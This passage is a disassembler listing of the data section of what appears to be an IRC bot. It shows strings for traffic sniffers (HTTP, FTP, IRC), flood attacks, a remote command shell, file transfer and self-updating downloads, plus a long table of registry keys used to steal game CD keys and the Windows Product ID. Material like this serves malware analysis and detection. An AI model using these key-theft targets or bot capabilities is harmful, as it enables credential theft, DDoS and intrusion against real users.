aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_43598C	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359C4	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359FC	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A30	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A64	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A98	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_435AC8	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B1C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D44	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_436134	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436148	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_436180	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_436194	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361A8	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361C4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_4361F4	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436200	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 437384h, 437378h,	437368h, 2 dup(0)
		dd 80000001h, 437348h, 437344h,	437330h, 2 dup(0)
		dd 80000001h, 43730Ch, 437344h,	437300h, 2 dup(0)
		dd 80000001h, 4372DCh, 4372D4h,	4372C0h, 2 dup(0)
		dd 80000001h, 4372ACh, 43729Ch,	437280h, 2 dup(0)
		dd 80000001h, 43723Ch, 4373C4h,	437228h, 2 dup(0)
		dd 80000002h, 4371FCh, 4371F0h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 4373C4h,	437184h, 2 dup(0)
		dd 80000002h, 437150h, 4373C4h,	437138h, 2 dup(0)
		dd 80000002h, 437120h, 4373C4h,	437108h, 2 dup(0)
		dd 80000002h, 4370CCh, 43D128h,	4370BCh, 2 dup(0)
		dd 80000002h, 437084h, 43D128h,	437070h, 2 dup(0)
		dd 80000002h, 437024h, 43D128h,	437004h, 2 dup(0)
		dd 80000002h, 436FB4h, 43D128h,	436F88h, 2 dup(0)
		dd 80000002h, 436F4Ch, 43D128h,	436F38h, 2 dup(0)
		dd 80000002h, 436F00h, 43D128h,	436EF0h, 2 dup(0)
		dd 80000002h, 436EA0h, 43D128h,	436E74h, 2 dup(0)
		dd 80000002h, 436E34h, 43D128h,	436E18h, 2 dup(0)
		dd 80000002h, 436DE8h, 43D128h,	436DC8h, 2 dup(0)
		dd 80000002h, 436D8Ch, 43D128h,	436D78h, 2 dup(0)
		dd 80000002h, 436D30h, 43D128h,	436D10h, 2 dup(0)
		dd 80000002h, 436CBCh, 43D128h,	436C8Ch, 2 dup(0)
		dd 80000002h, 436C3Ch, 43D128h,	436C10h, 2 dup(0)
		dd 80000002h, 436BD0h, 436BC8h,	436BA8h, 2 dup(0)
		dd 80000002h, 436B64h, 43D128h,	436B48h, 2 dup(0)
		dd 80000002h, 436AFCh, 43D128h,	436AD8h, 2 dup(0)
		dd 80000002h, 436AA4h, 43D128h,	436A98h, 2 dup(0)
		dd 80000002h, 436A64h, 43D128h,	436A58h, 2 dup(0)
		dd 80000002h, 436A24h, 43D128h,	436A18h, 2 dup(0)
		dd 80000002h, 4369E4h, 43D128h,	4369D8h, 2 dup(0)
		dd 80000002h, 43699Ch, 43D128h,	436988h, 2 dup(0)
		dd 80000002h, 43694Ch, 43D128h,	436938h, 2 dup(0)
		dd 80000002h, 436908h, 4373C4h,	4368ECh, 2 dup(0)
		dd 80000002h, 4368CCh, 4368C4h,	4368A0h, 2 dup(0)
		dd 80000002h, 436884h, 4368C4h,	436864h, 2 dup(0)
		dd 80000002h, 436844h, 4368C4h,	436820h, 2 dup(0)
		dd 80000002h, 436808h, 4368C4h,	436804h, 2 dup(0)
		dd 80000002h, 4367E8h, 4367D8h,	4367D0h, 2 dup(0)
		dd 80000002h, 43679Ch, 42C218h,	436784h, 2 dup(0)
		dd 80000002h, 436748h, 43673Ch,	436714h, 436704h, 4366F0h
		dd 80000002h, 4366CCh, 4366C0h,	4366ACh, 43669Ch, 436694h
		dd 80000002h, 4366CCh, 4366C0h,	436668h, 43669Ch, 436660h
		dd 80000002h, 4366CCh, 4366C0h,	436630h, 43669Ch, 436628h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004361F8o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o
		align 4
asc_4373F4:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_4373F8	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437474	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_437498	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374B0	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_4374DC	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_437500	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437518	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437530	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_437550	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437574	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_437598	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375C4	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_4375E4	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_437614	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437644	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437670	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376A4	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_4376E8	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_437704	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43773C	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437764	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_437790	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_4377B8	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_4377E0	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_437830	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_437834	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
unk_437848	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437884	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
